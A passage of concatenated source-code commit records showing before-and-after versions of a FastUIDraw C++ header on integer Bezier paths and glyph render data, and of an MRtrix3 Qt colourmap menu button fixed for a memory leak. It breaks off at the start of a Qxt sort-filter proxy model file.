FASTUIDRAWassert(m_num_control_pts > 0);\n        return m_num_control_pts - 1;\n      }\n\n      const_c_array<vec2>\n      derivatives_cancel(void) const\n      {\n        return const_c_array<vec2>(m_derivatives_cancel.c_ptr(),\n                                   m_num_derivatives_cancel);\n      }\n\n      const_c_array<int>\n      as_polynomial(int coord) const\n      {\n        return const_c_array<int>(m_as_polynomial_fcn[coord].c_ptr(), m_num_control_pts);\n      }\n\n      vecN<const_c_array<int>, 2>\n      as_polynomial(void) const\n      {\n        return vecN<const_c_array<int>, 2>(as_polynomial(0), as_polynomial(1));\n      }\n\n      vec2\n      eval(float t) const;\n\n    private:\n      void\n      process_control_pts(void);\n\n      void\n      compute_derivatives_cancel_pts(void);\n\n      c_array<int>\n      as_polynomial(int coord)\n      {\n        return c_array<int>(m_as_polynomial_fcn[coord].c_ptr(), m_num_control_pts);\n      }\n\n      ID_t m_ID;\n      vecN<ivec2, 4> m_control_pts;\n      unsigned int m_num_control_pts;\n      vecN<ivec4, 2> m_as_polynomial_fcn;\n\n      \/\/ where dx\/dt +- dy\/dt = 0\n      vecN<vec2, 6> m_derivatives_cancel;\n      unsigned int m_num_derivatives_cancel;\n      BoundingBox<int> m_bb;\n    };\n\n    class IntContour\n    {\n    public:\n      IntContour(void)\n      {}\n\n      void\n      add_curve(const IntBezierCurve &curve)\n      {\n        FASTUIDRAWassert(m_curves.empty() || IntBezierCurve::are_ordered_neighbors(m_curves.back(), curve));\n        m_curves.push_back(curve);\n      }\n\n      bool\n      closed(void)\n      {\n        return !m_curves.empty()\n          && IntBezierCurve::are_ordered_neighbors(m_curves.back(), m_curves.front());\n      }\n\n      const std::vector<IntBezierCurve>&\n      curves(void) const\n      {\n        return m_curves;\n      }\n\n      const IntBezierCurve&\n      curve(unsigned int curveID) const\n      {\n        FASTUIDRAWassert(curveID < m_curves.size());\n        return m_curves[curveID];\n      }\n\n      \/* Filter the Contour as follows:\n          1. Collapse any curves that are within a texel\n          2. Curves of tiny curvature are realized as a line\n          3. Cubics are broken into quadratics\n         The transformation tr is -NOT- applied to the contour,\n         it is used as the transformation from IntContour\n         coordinates to texel coordinates. The value of texel_size\n         gives the size of a texel with the texel at (0, 0)\n         starting at (0, 0) [in texel coordinates].\n       *\/\n      void\n      filter(float curvature_collapse,\n             const IntBezierCurve::transformation<int> &tr, ivec2 texel_size);\n\n      void\n      add_to_path(const IntBezierCurve::transformation<float> &tr, Path *dst) const;\n\n    private:\n      std::vector<IntBezierCurve> m_curves;\n    };\n\n    class IntPath\n    {\n    public:\n      IntPath(void)\n      {}\n\n      void\n      move_to(const ivec2 &pt);\n\n      void\n      line_to(const ivec2 &pt);\n\n      void\n      conic_to(const ivec2 &control_pt, const ivec2 &pt);\n\n      void\n      cubic_to(const ivec2 &control_pt0, const ivec2 &control_pt1, const ivec2 &pt);\n\n      bool\n      empty(void) const\n      {\n        return m_contours.empty();\n      }\n\n      void\n      add_to_path(const IntBezierCurve::transformation<float> &tr, Path *dst) const;\n\n      \/* Filter the Path as follows:\n          1. Collapse any curves that are within a texel\n          2. Curves of tiny curvature are realized as a line\n          3. Cubics are broken into quadratics\n         The transformation tr is -NOT- applied to the contour,\n         it is used as the transformation from IntContour\n         coordinates to texel coordinates. The value of texel_size\n         gives the size of a texel with the texel at (0, 0)\n         starting at (0, 0) [in texel coordinates].\n       *\/\n      void\n      filter(float curvature_collapse,\n             const IntBezierCurve::transformation<int> &tr, ivec2 texel_size);\n\n\n      \/* extract render data the location of pixel(i, j) is at\n         (step.x() * i, step.y() * j). The resolution is (count.x(), count.y())\n         and the values extracted are those values from the IntPath\n         transformed by tr. The max-distance values is in units\n         of the IntPath with the transformation tr applied\n       *\/\n      void\n      extract_render_data(const ivec2 &step, const ivec2 &count,\n                          float max_distance,\n                          IntBezierCurve::transformation<int> tr,\n                          GlyphRenderDataDistanceField *dst) const;\n\n\n      \/* extract render data the location of pixel(i, j) is at\n         (step.x() * i, step.y() * j). The resolution is (count.x(), count.y())\n         and the values extracted are those values from the IntPath\n         transformed by tr.\n\n         The path should have filter() applied to it so that there\n         are no cubic paths and that small paths are dropped\n       *\/\n      void\n      extract_render_data(const ivec2 &step, const ivec2 &count,\n                          IntBezierCurve::transformation<int> tr,\n                          GlyphRenderDataCurvePair *dst) const;\n\n    private:\n      IntBezierCurve::ID_t\n      computeID(void);\n\n      fastuidraw::ivec2 m_last_pt;\n      std::vector<IntContour> m_contours;\n    };\n\n  } \/\/namespace fastuidraw\n} \/\/namespace detail\n<commit_msg>fastuidraw\/private\/int_path: better descriptions for extract_render_data() methods<commit_after>\/*!\n * \\file int_path.hpp\n * \\brief file int_path.hpp\n *\n * Copyright 2017 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n#pragma once\n\n#include <fastuidraw\/util\/util.hpp>\n#include <fastuidraw\/util\/c_array.hpp>\n#include <fastuidraw\/util\/vecN.hpp>\n#include <fastuidraw\/util\/reference_counted.hpp>\n#include <fastuidraw\/util\/fastuidraw_memory.hpp>\n#include <fastuidraw\/path.hpp>\n#include <fastuidraw\/text\/glyph_render_data_curve_pair.hpp>\n#include <fastuidraw\/text\/glyph_render_data_distance_field.hpp>\n\n#include \"array2d.hpp\"\n#include \"bounding_box.hpp\"\n#include \"util_private.hpp\"\n\nnamespace fastuidraw\n{\n  namespace detail\n  {\n    class IntBezierCurve\n    {\n    public:\n\n      template<typename T>\n      class transformation\n      {\n      public:\n        transformation(T sc = T(1), vecN<T, 2> tr = vecN<T, 2>(T(0))):\n          m_scale(sc),\n          m_translate(tr)\n        {}\n\n        T\n        scale(void) const\n        {\n          return m_scale;\n        }\n\n        vecN<T, 2>\n        translate(void) const\n        {\n          return m_translate;\n        }\n\n        template<typename U>\n        transformation<U>\n        cast(void) const\n        {\n          return transformation<U>(U(m_scale), vecN<U, 2>(m_translate));\n        }\n\n        vecN<T, 2>\n        operator()(vecN<T, 2> p) const\n        {\n          return m_translate + m_scale * p;\n        }\n\n      private:\n        T m_scale;\n        vecN<T, 2> m_translate;\n      };\n\n      class ID_t\n      {\n      public:\n        ID_t(void):\n          m_contourID(-1),\n          m_curveID(-1)\n        {}\n\n        unsigned int m_contourID;\n        unsigned int m_curveID;\n      };\n\n      IntBezierCurve(const ID_t &pID, const IntBezierCurve &curve):\n        m_ID(pID),\n        m_control_pts(curve.m_control_pts),\n        m_num_control_pts(curve.m_num_control_pts),\n        m_as_polynomial_fcn(curve.m_as_polynomial_fcn),\n        m_derivatives_cancel(curve.m_derivatives_cancel),\n        m_bb(curve.m_bb)\n      {\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, pt1, ivec2(), ivec2()),\n        m_num_control_pts(2)\n      {\n        process_control_pts();\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &ct,\n                     const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, ct, pt1, ivec2()),\n        m_num_control_pts(3)\n      {\n        process_control_pts();\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &ct0,\n                     const ivec2 &ct1, const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, ct0, ct1, pt1),\n        m_num_control_pts(4)\n      {\n        process_control_pts();\n      }\n\n      ~IntBezierCurve()\n      {}\n\n      const ID_t&\n      ID(void) const\n      {\n        return m_ID;\n      }\n\n      const_c_array<ivec2>\n      control_pts(void) const\n      {\n        return const_c_array<ivec2>(m_control_pts.c_ptr(), m_num_control_pts);\n      }\n\n      const BoundingBox<int>&\n      bounding_box(void) const\n      {\n        return m_bb;\n      }\n\n      BoundingBox<int>\n      bounding_box(const transformation<int> &tr) const\n      {\n        BoundingBox<int> R;\n        R.union_point(tr(m_bb.min_point()));\n        R.union_point(tr(m_bb.max_point()));\n        return R;\n      }\n\n      static\n      bool\n      are_ordered_neighbors(const IntBezierCurve &curve0,\n                            const IntBezierCurve &curve1)\n      {\n        return curve0.control_pts().back() == curve1.control_pts().front();\n      }\n\n      int\n      degree(void) const\n      {\n        FASTUIDRAWassert(m_num_control_pts > 0);\n        return m_num_control_pts - 1;\n      }\n\n      const_c_array<vec2>\n      derivatives_cancel(void) const\n      {\n        return const_c_array<vec2>(m_derivatives_cancel.c_ptr(),\n                                   m_num_derivatives_cancel);\n      }\n\n      const_c_array<int>\n      as_polynomial(int coord) const\n      {\n        return const_c_array<int>(m_as_polynomial_fcn[coord].c_ptr(), m_num_control_pts);\n      }\n\n      vecN<const_c_array<int>, 2>\n      as_polynomial(void) const\n      {\n        return vecN<const_c_array<int>, 2>(as_polynomial(0), as_polynomial(1));\n      }\n\n      vec2\n      eval(float t) const;\n\n    private:\n      void\n      process_control_pts(void);\n\n      void\n      compute_derivatives_cancel_pts(void);\n\n      c_array<int>\n      as_polynomial(int coord)\n      {\n        return c_array<int>(m_as_polynomial_fcn[coord].c_ptr(), m_num_control_pts);\n      }\n\n      ID_t m_ID;\n      vecN<ivec2, 4> m_control_pts;\n      unsigned int m_num_control_pts;\n      vecN<ivec4, 2> m_as_polynomial_fcn;\n\n      \/\/ where dx\/dt +- dy\/dt = 0\n      vecN<vec2, 6> m_derivatives_cancel;\n      unsigned int m_num_derivatives_cancel;\n      BoundingBox<int> m_bb;\n    };\n\n    class IntContour\n    {\n    public:\n      IntContour(void)\n      {}\n\n      void\n      add_curve(const IntBezierCurve &curve)\n      {\n        FASTUIDRAWassert(m_curves.empty() || IntBezierCurve::are_ordered_neighbors(m_curves.back(), curve));\n        m_curves.push_back(curve);\n      }\n\n      bool\n      closed(void)\n      {\n        return !m_curves.empty()\n          && IntBezierCurve::are_ordered_neighbors(m_curves.back(), m_curves.front());\n      }\n\n      const std::vector<IntBezierCurve>&\n      curves(void) const\n      {\n        return m_curves;\n      }\n\n      const IntBezierCurve&\n      curve(unsigned int curveID) const\n      {\n        FASTUIDRAWassert(curveID < m_curves.size());\n        return m_curves[curveID];\n      }\n\n      \/* Filter the Contour as follows:\n          1. Collapse any curves that are within a texel\n          2. Curves of tiny curvature are realized as a line\n          3. Cubics are broken into quadratics\n         The transformation tr is -NOT- applied to the contour,\n         it is used as the transformation from IntContour\n         coordinates to texel coordinates. The value of texel_size\n         gives the size of a texel with the texel at (0, 0)\n         starting at (0, 0) [in texel coordinates].\n       *\/\n      void\n      filter(float curvature_collapse,\n             const IntBezierCurve::transformation<int> &tr, ivec2 texel_size);\n\n      void\n      add_to_path(const IntBezierCurve::transformation<float> &tr, Path *dst) const;\n\n    private:\n      std::vector<IntBezierCurve> m_curves;\n    };\n\n    class IntPath\n    {\n    public:\n      IntPath(void)\n      {}\n\n      void\n      move_to(const ivec2 &pt);\n\n      void\n      line_to(const ivec2 &pt);\n\n      void\n      conic_to(const ivec2 &control_pt, const ivec2 &pt);\n\n      void\n      cubic_to(const ivec2 &control_pt0, const ivec2 &control_pt1, const ivec2 &pt);\n\n      bool\n      empty(void) const\n      {\n        return m_contours.empty();\n      }\n\n      \/* Add this IntPath with a transforamtion tr applied to it to a\n         pre-exising (and possibly empty) Path.\n         \\param tr transformation to apply to data of path\n       *\/\n      void\n      add_to_path(const IntBezierCurve::transformation<float> &tr, Path *dst) const;\n\n      \/* Filter the Path as follows:\n          1. Collapse any curves that are within a texel\n          2. Curves of tiny curvature are realized as a line\n          3. Cubics are broken into quadratics\n         The transformation tr is -NOT- applied to the path,\n         it is used as the transformation from IntContour\n         coordinates to texel coordinates. The value of texel_size\n         gives the size of a texel with the texel at (0, 0)\n         starting at (0, 0) [in texel coordinates].\n       *\/\n      void\n      filter(float curvature_collapse,\n             const IntBezierCurve::transformation<int> &tr,\n             ivec2 texel_size);\n\n\n      \/* Compute distance field data, where distance values are\n         sampled at the center of each texel; the caller needs to\n         make sure that the path with the transformation tr applied\n         is entirely within the region [0, W] x [0, H] where\n         (W, H) = texel_size * image_sz.\n         \\param texel_size the size of each texel in coordinates\n                           AFTER tr is applied\n         \\param image_sz size of the distance field to make\n         \\param tr transformation to apply to data of path\n       *\/\n      void\n      extract_render_data(const ivec2 &texel_size, const ivec2 &image_sz,\n                          float max_distance,\n                          IntBezierCurve::transformation<int> tr,\n                          GlyphRenderDataDistanceField *dst) const;\n\n\n      \/* Compute curve-pair render data. The caller should have applied\n         filter() before calling to reduce cubics and collapse tiny\n         curves; also, the caller needs to make sure that the path\n         with the transformation tr applied is entirely within the\n         region [0, W] x [0, H] where (W, H) = texel_size * image_sz.\n         \\param texel_size the size of each texel in coordinates\n                           AFTER tr is applied\n         \\param image_sz size of the distance field to make\n         \\param tr transformation to apply to data of path\n       *\/\n      void\n      extract_render_data(const ivec2 &texel_size, const ivec2 &image_sz,\n                          IntBezierCurve::transformation<int> tr,\n                          GlyphRenderDataCurvePair *dst) const;\n\n    private:\n      IntBezierCurve::ID_t\n      computeID(void);\n\n      fastuidraw::ivec2 m_last_pt;\n      std::vector<IntContour> m_contours;\n    };\n\n  } \/\/namespace fastuidraw\n} \/\/namespace detail\n<|endoftext|>"}
{"text":"<commit_before>#include \"gui\/mrview\/colourmap_button.h\"\n#include \"gui\/mrview\/colourmap.h\"\n#include \"math\/rng.h\"\n\n\nnamespace MR\n{\nnamespace GUI\n{\nnamespace MRView\n{\n\nusing Entry = ColourMap::Entry;\nconst std::vector<Entry> ColourMapButton::core_colourmaps_entries{{\n    Entry (\"Gray\",\n        \"color.rgb = vec3 (amplitude);\\n\"),\n\n    Entry (\"Hot\",\n        \"color.rgb = vec3 (2.7213 * amplitude, 2.7213 * amplitude - 1.0, 3.7727 * amplitude - 2.7727);\\n\"),\n\n    Entry (\"Cool\",\n        \"color.rgb = 1.0 - (vec3 (2.7213 * (1.0 - amplitude), 2.7213 * (1.0 - amplitude) - 1.0, 3.7727 * (1.0 - amplitude) - 2.7727));\\n\"),\n\n    Entry (\"Jet\",\n        \"color.rgb = 1.5 - 4.0 * abs (1.0 - amplitude - vec3(0.25, 0.5, 0.75));\\n\")\n}};\n\n\nconst std::vector<Entry> ColourMapButton::special_colourmaps_entries{{\n    Entry (\"RGB\",\n           \"color.rgb = scale * (abs(color.rgb) - offset);\\n\",\n           \"length (color.rgb)\", true),\n\n    Entry (\"Complex\",\n           \"float phase = atan (color.r, color.g) * 0.954929658551372;\\n\"\n           \"color.rgb = phase + vec3 (-2.0, 0.0, 2.0);\\n\"\n           \"if (phase > 2.0) color.b -= 6.0;\\n\"\n           \"if (phase < -2.0) color.r += 6.0;\\n\"\n           \"color.rgb = clamp (scale * (amplitude - offset), 0.0, 1.0) * (2.0 - abs (color.rgb));\\n\",\n           \"length (color.rg)\", true)\n}};\n\n\nColourMapButton::ColourMapButton(QWidget* parent, ColourMapButtonObserver& obs,\n                                 bool use_shortcuts,\n                                 bool use_special_colourmaps,\n                                 bool use_customise_state_items) :\n    QToolButton(parent),\n    colourmap_actions(ColourMapButton::core_colourmaps_entries.size()),\n    observer(obs),\n    core_colourmaps_actions(new QActionGroup(parent))\n{\n    setToolTip(tr(\"Colourmap menu\"));\n    setIcon(QIcon(\":\/colourmap.svg\"));\n    setPopupMode(QToolButton::InstantPopup);\n\n    init_menu(use_shortcuts, use_special_colourmaps, use_customise_state_items);\n}\n\n\nvoid ColourMapButton::init_core_menu_items(bool create_shortcuts)\n{\n    core_colourmaps_actions->setExclusive(true);\n\n    size_t n = 0;\n    for(const auto& colourmap_entry : ColourMapButton::core_colourmaps_entries)\n    {\n      QAction* action = new QAction(colourmap_entry.name, this);\n      action->setCheckable(true);\n      core_colourmaps_actions->addAction(action);\n\n      colourmap_menu->addAction(action);\n      addAction(action);\n\n      if(create_shortcuts)\n        action->setShortcut(QObject::tr(std::string (\"Ctrl+\" + str (n+1)).c_str()));\n\n      colourmap_actions[n] = action;\n      n++;\n    }\n\n    connect(core_colourmaps_actions, SIGNAL(triggered (QAction*)), this, SLOT(select_colourmap_slot(QAction*)));\n    colourmap_actions[1]->setChecked(true);\n}\n\n\nvoid ColourMapButton::init_custom_colour_menu_items()\n{\n    custom_colour_action = new QAction(tr(\"Custom colour...\"), nullptr);\n    custom_colour_action->setCheckable(true);\n    connect(custom_colour_action, SIGNAL(triggered ()), this, SLOT(select_colour_slot()));\n\n    core_colourmaps_actions->addAction(custom_colour_action);\n    colourmap_menu->addAction(custom_colour_action);\n    addAction(custom_colour_action);\n    colourmap_actions.push_back(custom_colour_action);\n\n    auto choose_random_colour = new QAction(tr(\"Random colour\"), nullptr);\n    connect(choose_random_colour, SIGNAL(triggered ()), this, SLOT(select_random_colour_slot()));\n\n    colourmap_menu->addAction(choose_random_colour);\n    addAction(choose_random_colour);\n}\n\n\nvoid ColourMapButton::init_special_colour_menu_items(bool create_shortcuts)\n{\n    size_t n = colourmap_actions.size();\n    for(const auto& colourmap_entry : ColourMapButton::special_colourmaps_entries)\n    {\n      QAction* action = new QAction(colourmap_entry.name, this);\n      action->setCheckable(true);\n      core_colourmaps_actions->addAction(action);\n\n      colourmap_menu->addAction(action);\n      addAction(action);\n\n      if(create_shortcuts)\n        action->setShortcut(QObject::tr(std::string (\"Ctrl+\" + str (n+1)).c_str()));\n\n      colourmap_actions.push_back(action);\n      n++;\n    }\n}\n\nvoid ColourMapButton::init_customise_sate_menu_items()\n{\n    auto show_colour_bar = colourmap_menu->addAction(tr(\"Show colour bar\"), this, SLOT(show_colour_bar_slot(bool)));\n    show_colour_bar->setCheckable(true);\n    show_colour_bar->setChecked(true);\n    addAction(show_colour_bar);\n\n    auto invert_scale = colourmap_menu->addAction(tr(\"Invert\"), this, SLOT(invert_colourmap_slot(bool)));\n    invert_scale->setCheckable(true);\n    addAction(invert_scale);\n\n    QAction* reset_intensity = colourmap_menu->addAction(tr(\"Reset intensity\"), this, SLOT(reset_intensity_slot()));\n    addAction(reset_intensity);\n}\n\nvoid ColourMapButton::init_menu(bool create_shortcuts, bool use_special, bool customise_state)\n{\n    colourmap_menu = new QMenu(tr(\"Colourmap menu\"), this);\n\n    init_core_menu_items(create_shortcuts);\n    init_custom_colour_menu_items();\n\n    colourmap_menu->addSeparator();\n\n    if(use_special)\n    {\n        init_special_colour_menu_items(create_shortcuts);\n        colourmap_menu->addSeparator();\n    }\n\n    if(customise_state)\n        init_customise_sate_menu_items();\n\n    setMenu(colourmap_menu);\n}\n\n\nvoid ColourMapButton::set_colourmap_index(size_t index)\n{\n    if(index < colourmap_actions.size())\n    {\n        QAction* action = colourmap_actions[index];\n        action->setChecked(true);\n        select_colourmap_slot(action);\n    }\n}\n\n\nvoid ColourMapButton::select_colourmap_slot(QAction* action)\n{\n    auto begin = colourmap_actions.cbegin();\n    auto end = colourmap_actions.cend();\n    auto it = std::find(begin, end, action);\n\n    if(it != end)\n        observer.selected_colourmap(std::distance(begin, it), *this);\n}\n\n\nvoid ColourMapButton::select_colour_slot()\n{\n    QColor colour = QColorDialog::getColor(Qt::red, this, \"Select Color\", QColorDialog::DontUseNativeDialog);\n\n    if (colour.isValid())\n        observer.selected_custom_colour(colour, *this);\n}\n\n\nvoid ColourMapButton::select_random_colour_slot()\n{\n    size_t colour[3];\n    Math::RNG rng;\n    std::uniform_int_distribution<unsigned char> uniform_int;\n    constexpr size_t max_half = std::numeric_limits<unsigned char>::max()\/2;\n    do {\n      colour[0] = uniform_int(rng);\n      colour[1] = uniform_int(rng);\n      colour[2] = uniform_int(rng);\n    } while (colour[0] < max_half && colour[1] < max_half && colour[2] < max_half);\n\n    custom_colour_action->setChecked(true);\n\n    select_colourmap_slot(custom_colour_action);\n    observer.selected_custom_colour(QColor(colour[0],colour[1],colour[2]), *this);\n}\n\n\nvoid ColourMapButton::show_colour_bar_slot(bool visible)\n{\n    observer.toggle_show_colour_bar(visible, *this);\n}\n\n\nvoid ColourMapButton::invert_colourmap_slot(bool inverted)\n{\n    observer.toggle_invert_colourmap(inverted, *this);\n}\n\n\nvoid ColourMapButton::reset_intensity_slot()\n{\n    observer.reset_colourmap(*this);\n}\n\n\n}\n}\n}\n<commit_msg>Fix minor memory leak<commit_after>#include \"gui\/mrview\/colourmap_button.h\"\n#include \"gui\/mrview\/colourmap.h\"\n#include \"math\/rng.h\"\n\n\nnamespace MR\n{\nnamespace GUI\n{\nnamespace MRView\n{\n\nusing Entry = ColourMap::Entry;\nconst std::vector<Entry> ColourMapButton::core_colourmaps_entries{{\n    Entry (\"Gray\",\n        \"color.rgb = vec3 (amplitude);\\n\"),\n\n    Entry (\"Hot\",\n        \"color.rgb = vec3 (2.7213 * amplitude, 2.7213 * amplitude - 1.0, 3.7727 * amplitude - 2.7727);\\n\"),\n\n    Entry (\"Cool\",\n        \"color.rgb = 1.0 - (vec3 (2.7213 * (1.0 - amplitude), 2.7213 * (1.0 - amplitude) - 1.0, 3.7727 * (1.0 - amplitude) - 2.7727));\\n\"),\n\n    Entry (\"Jet\",\n        \"color.rgb = 1.5 - 4.0 * abs (1.0 - amplitude - vec3(0.25, 0.5, 0.75));\\n\")\n}};\n\n\nconst std::vector<Entry> ColourMapButton::special_colourmaps_entries{{\n    Entry (\"RGB\",\n           \"color.rgb = scale * (abs(color.rgb) - offset);\\n\",\n           \"length (color.rgb)\", true),\n\n    Entry (\"Complex\",\n           \"float phase = atan (color.r, color.g) * 0.954929658551372;\\n\"\n           \"color.rgb = phase + vec3 (-2.0, 0.0, 2.0);\\n\"\n           \"if (phase > 2.0) color.b -= 6.0;\\n\"\n           \"if (phase < -2.0) color.r += 6.0;\\n\"\n           \"color.rgb = clamp (scale * (amplitude - offset), 0.0, 1.0) * (2.0 - abs (color.rgb));\\n\",\n           \"length (color.rg)\", true)\n}};\n\n\nColourMapButton::ColourMapButton(QWidget* parent, ColourMapButtonObserver& obs,\n                                 bool use_shortcuts,\n                                 bool use_special_colourmaps,\n                                 bool use_customise_state_items) :\n    QToolButton(parent),\n    colourmap_actions(ColourMapButton::core_colourmaps_entries.size()),\n    observer(obs),\n    core_colourmaps_actions(new QActionGroup(parent))\n{\n    setToolTip(tr(\"Colourmap menu\"));\n    setIcon(QIcon(\":\/colourmap.svg\"));\n    setPopupMode(QToolButton::InstantPopup);\n\n    init_menu(use_shortcuts, use_special_colourmaps, use_customise_state_items);\n}\n\n\nvoid ColourMapButton::init_core_menu_items(bool create_shortcuts)\n{\n    core_colourmaps_actions->setExclusive(true);\n\n    size_t n = 0;\n    for(const auto& colourmap_entry : ColourMapButton::core_colourmaps_entries)\n    {\n      QAction* action = new QAction(colourmap_entry.name, this);\n      action->setCheckable(true);\n      core_colourmaps_actions->addAction(action);\n\n      colourmap_menu->addAction(action);\n      addAction(action);\n\n      if(create_shortcuts)\n        action->setShortcut(QObject::tr(std::string (\"Ctrl+\" + str (n+1)).c_str()));\n\n      colourmap_actions[n] = action;\n      n++;\n    }\n\n    connect(core_colourmaps_actions, SIGNAL(triggered (QAction*)), this, SLOT(select_colourmap_slot(QAction*)));\n    colourmap_actions[1]->setChecked(true);\n}\n\n\nvoid ColourMapButton::init_custom_colour_menu_items()\n{\n    custom_colour_action = new QAction(tr(\"Custom colour...\"), this);\n    custom_colour_action->setCheckable(true);\n    connect(custom_colour_action, SIGNAL(triggered ()), this, SLOT(select_colour_slot()));\n\n    core_colourmaps_actions->addAction(custom_colour_action);\n    colourmap_menu->addAction(custom_colour_action);\n    addAction(custom_colour_action);\n    colourmap_actions.push_back(custom_colour_action);\n\n    auto choose_random_colour = new QAction(tr(\"Random colour\"), this);\n    connect(choose_random_colour, SIGNAL(triggered ()), this, SLOT(select_random_colour_slot()));\n\n    colourmap_menu->addAction(choose_random_colour);\n    addAction(choose_random_colour);\n}\n\n\nvoid ColourMapButton::init_special_colour_menu_items(bool create_shortcuts)\n{\n    size_t n = colourmap_actions.size();\n    for(const auto& colourmap_entry : ColourMapButton::special_colourmaps_entries)\n    {\n      QAction* action = new QAction(colourmap_entry.name, this);\n      action->setCheckable(true);\n      core_colourmaps_actions->addAction(action);\n\n      colourmap_menu->addAction(action);\n      addAction(action);\n\n      if(create_shortcuts)\n        action->setShortcut(QObject::tr(std::string (\"Ctrl+\" + str (n+1)).c_str()));\n\n      colourmap_actions.push_back(action);\n      n++;\n    }\n}\n\nvoid ColourMapButton::init_customise_sate_menu_items()\n{\n    auto show_colour_bar = colourmap_menu->addAction(tr(\"Show colour bar\"), this, SLOT(show_colour_bar_slot(bool)));\n    show_colour_bar->setCheckable(true);\n    show_colour_bar->setChecked(true);\n    addAction(show_colour_bar);\n\n    auto invert_scale = colourmap_menu->addAction(tr(\"Invert\"), this, SLOT(invert_colourmap_slot(bool)));\n    invert_scale->setCheckable(true);\n    addAction(invert_scale);\n\n    QAction* reset_intensity = colourmap_menu->addAction(tr(\"Reset intensity\"), this, SLOT(reset_intensity_slot()));\n    addAction(reset_intensity);\n}\n\nvoid ColourMapButton::init_menu(bool create_shortcuts, bool use_special, bool customise_state)\n{\n    colourmap_menu = new QMenu(tr(\"Colourmap menu\"), this);\n\n    init_core_menu_items(create_shortcuts);\n    init_custom_colour_menu_items();\n\n    colourmap_menu->addSeparator();\n\n    if(use_special)\n    {\n        init_special_colour_menu_items(create_shortcuts);\n        colourmap_menu->addSeparator();\n    }\n\n    if(customise_state)\n        init_customise_sate_menu_items();\n\n    setMenu(colourmap_menu);\n}\n\n\nvoid ColourMapButton::set_colourmap_index(size_t index)\n{\n    if(index < colourmap_actions.size())\n    {\n        QAction* action = colourmap_actions[index];\n        action->setChecked(true);\n        select_colourmap_slot(action);\n    }\n}\n\n\nvoid ColourMapButton::select_colourmap_slot(QAction* action)\n{\n    auto begin = colourmap_actions.cbegin();\n    auto end = colourmap_actions.cend();\n    auto it = std::find(begin, end, action);\n\n    if(it != end)\n        observer.selected_colourmap(std::distance(begin, it), *this);\n}\n\n\nvoid ColourMapButton::select_colour_slot()\n{\n    QColor colour = QColorDialog::getColor(Qt::red, this, \"Select Color\", QColorDialog::DontUseNativeDialog);\n\n    if (colour.isValid())\n        observer.selected_custom_colour(colour, *this);\n}\n\n\nvoid ColourMapButton::select_random_colour_slot()\n{\n    size_t colour[3];\n    Math::RNG rng;\n    std::uniform_int_distribution<unsigned char> uniform_int;\n    constexpr size_t max_half = std::numeric_limits<unsigned char>::max()\/2;\n    do {\n      colour[0] = uniform_int(rng);\n      colour[1] = uniform_int(rng);\n      colour[2] = uniform_int(rng);\n    } while (colour[0] < max_half && colour[1] < max_half && colour[2] < max_half);\n\n    custom_colour_action->setChecked(true);\n\n    select_colourmap_slot(custom_colour_action);\n    observer.selected_custom_colour(QColor(colour[0],colour[1],colour[2]), *this);\n}\n\n\nvoid ColourMapButton::show_colour_bar_slot(bool visible)\n{\n    observer.toggle_show_colour_bar(visible, *this);\n}\n\n\nvoid ColourMapButton::invert_colourmap_slot(bool inverted)\n{\n    observer.toggle_invert_colourmap(inverted, *this);\n}\n\n\nvoid ColourMapButton::reset_intensity_slot()\n{\n    observer.reset_colourmap(*this);\n}\n\n\n}\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\r\n **\r\n ** Copyright (C) Qxt Foundation. Some rights reserved.\r\n **\r\n ** This file is part of the QxtGui module of the Qxt library.\r\n **\r\n ** This library is free software; you can redistribute it and\/or modify it\r\n ** under the terms of the Common Public License, version 1.0, as published\r\n ** by IBM, and\/or under the terms of the GNU Lesser General Public License,\r\n ** version 2.1, as published by the Free Software Foundation.\r\n **\r\n ** This file is provided \"AS IS\", without WARRANTIES OR CONDITIONS OF ANY\r\n ** KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY\r\n ** WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR\r\n ** FITNESS FOR A PARTICULAR PURPOSE.\r\n **\r\n ** You should have received a copy of the CPL and the LGPL along with this\r\n ** file. See the LICENSE file and the cpl1.0.txt\/lgpl-2.1.txt files\r\n ** included with the source distribution for more information.\r\n ** If you did not receive a copy of the licenses, contact the Qxt Foundation.\r\n **\r\n ** <http:\/\/libqxt.org>  <foundation@libqxt.org>\r\n **\r\n ****************************************************************************\/\r\n\r\n#include \"qxtsortfilterproxymodel.h\"\r\n#include <QRegExp>\r\n\r\n\/*!\r\n *@class QxtSortFilterProxyModel QxtSortFilterProxyModel is a multi column filter model\r\n *The QxtSortFilterProxyModel makes it possible to filter over multiple columns.\r\n *@code\r\n *QxtSortFilterProxyModel * filterModel = new QxtSortFilterProxyModel(parent);\r\n *filterModel->setSourceModel(sourceModel);\r\n *filterModel->beginDeclareFilter();\r\n *filterModel->setFilter(1,QVariant(\"SomeStringValue\"),Qt::DisplayRole,Qt::MatchExactly);\r\n * \/\/remove some old filter\r\n *filterModel->removeFilter(2);\r\n *filterModel->setFilter(5,QVariant(1234),Qt::DisplayRole,Qt::MatchExactly);\r\n *filterModel->endDeclateFilter();\r\n *@endcode\r\n *Now the model will filter column 1 and 5, to be accepted by the filtermodel a row needs to pass all filters\r\n *\/\r\n\r\nclass QxtModelFilterPrivate\r\n{\r\n    public:\r\n        QxtModelFilterPrivate   (const QVariant &value = QVariant(), const int role = Qt::DisplayRole, const Qt::MatchFlags flags = Qt::MatchContains);\r\n        bool            acceptsValue ( const QVariant & value );\r\n        QVariant        m_value;\r\n        int             m_role;\r\n        Qt::MatchFlags  m_flags;\r\n};\r\n\r\nclass QxtSortFilterProxyModelPrivate : public QxtPrivate<QxtSortFilterProxyModel>\r\n{\r\n    public:\r\n        